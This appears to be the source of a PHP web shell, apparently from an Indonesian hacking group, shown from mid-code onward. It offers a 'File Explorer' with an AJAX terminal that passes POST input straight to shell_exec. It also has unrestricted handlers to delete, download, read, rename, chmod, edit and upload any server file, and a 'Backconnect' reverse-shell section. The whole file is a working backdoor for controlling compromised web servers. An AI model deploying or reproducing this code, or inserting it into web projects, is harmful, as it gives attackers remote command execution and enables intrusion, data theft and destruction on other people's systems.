___________________________
< root@indonesianxploit:~# w00t??? >
 ---------------------------
	
'; exit; } else { $_SESSION['logged_in'] = true; } // ====================== // Handle AJAX Terminal Command if (isset($_POST['ajax_terminal_cmd'])) { $cmd = $_POST['ajax_terminal_cmd']; $output = shell_exec($cmd . ' 2>&1'); echo htmlspecialchars($output); exit; } // ====================== // Current directory handling $dir = isset($_GET['dir']) && is_dir($_GET['dir']) ? $_GET['dir'] : getcwd(); // =============== // Actions: delete, download, rename, chmod, edit file if (isset($_GET['delete'])) { $p = $_GET['delete']; if (is_dir($p)) deleteDirectory($p); else unlink($p); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_GET['download'])) { $f = $_GET['download']; if (is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($f) . '"'); header('Content-Length: ' . filesize($f)); readfile($f); exit; } } if (isset($_GET['readfile'])) { $f = $_GET['readfile']; if (file_exists($f) && is_file($f)) { header("Content-Type: text/plain"); echo file_get_contents($f); } else { http_response_code(404); echo "File not found"; } exit; } if (isset($_POST['rename_old'], $_POST['rename_new'])) { $old = $_POST['rename_old']; $new = dirname($old) . '/' . basename($_POST['rename_new']); if (file_exists($old) && !file_exists($new)) rename($old, $new); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['chmod_target'], $_POST['chmod_mode'])) { $target = $_POST['chmod_target']; $mode = octdec($_POST['chmod_mode']); if (file_exists($target)) chmod($target, $mode); header("Location: ?dir=" . urlencode($dir)); exit; } if (isset($_POST['edit_path'], $_POST['edit_content'])) { file_put_contents($_POST['edit_path'], $_POST['edit_content']); header("Location: ?dir=" . urlencode($dir)); exit; } // Upload file handler if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['fileToUpload'])) { $uploadDir = $dir . DIRECTORY_SEPARATOR; $targetFile = $uploadDir . basename($_FILES["fileToUpload"]["name"]); if ($_FILES["fileToUpload"]["size"] > 5 * 1024 * 1024) { $uploadMsg = "

Error: File terlalu besar (max 5MB).

"; } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) { $uploadMsg = "

File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " berhasil diupload.

"; } else { $uploadMsg = "

Error saat mengupload file.

"; } } } // Create folder handler if (isset($_POST['new_folder_name'])) { $newFolder = $dir . DIRECTORY_SEPARATOR . basename($_POST['new_folder_name']); if (!file_exists($newFolder)) { mkdir($newFolder); header("Location: ?dir=" . urlencode($dir)); exit; } else { $folderMsg = "

Folder sudah ada.

"; } } // Create file handler if (isset($_POST['new_file_name'])) { $newFile = $dir . DIRECTORY_SEPARATOR . basename($_POST['new_file_name']); if (!file_exists($newFile)) { file_put_contents($newFile, ""); header("Location: ?dir=" . urlencode($dir)); exit; } else { $fileMsg = "

File sudah ada.

"; } } // Delete directory recursive function function deleteDirectory($dir) { if (!file_exists($dir)) return; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if (in_array($item, ['.', '..'])) continue; deleteDirectory($dir . '/' . $item); } rmdir($dir); } // Format size helper function formatSize($bytes) { $sizes = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($bytes >= 1024 && $i < count($sizes) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $sizes[$i]; } // Render file list table function renderTable($dir) { $rows = ''; foreach (scandir($dir) as $f) { if (in_array($f, ['.', '..'])) continue; $p = $dir . '/' . $f; $isDir = is_dir($p); $size = $isDir ? '-' : formatSize(filesize($p)); $mod = date('Y-m-d H:i:s', filemtime($p)); $perm = substr(sprintf('%o', fileperms($p)), -4); $rows .= " " . htmlspecialchars($f) . " $size $mod $perm " . (!$isDir ? "Download | " : "") . " Delete | Rename | Chmod" . (!$isDir ? " | Edit" : "") . " "; } return "$rows
NameSizeModifiedPermAction
"; } function pathBreadcrumb($dir) { $parts = explode(DIRECTORY_SEPARATOR, $dir); $path = ''; $crumbs = []; // Build breadcrumb links foreach ($parts as $part) { if ($part === '') continue; $path .= DIRECTORY_SEPARATOR . $part; $crumbs[] = "" . htmlspecialchars($part) . ""; } return implode(' / ', $crumbs); } ?> PHP File Explorer
Current Directory :

Upload File



Terminal


  

Create Folder


Create File

Backconnect

Fitur Backconnect bisa kamu sesuaikan sendiri. Contoh di bawah ini adalah template input sederhana.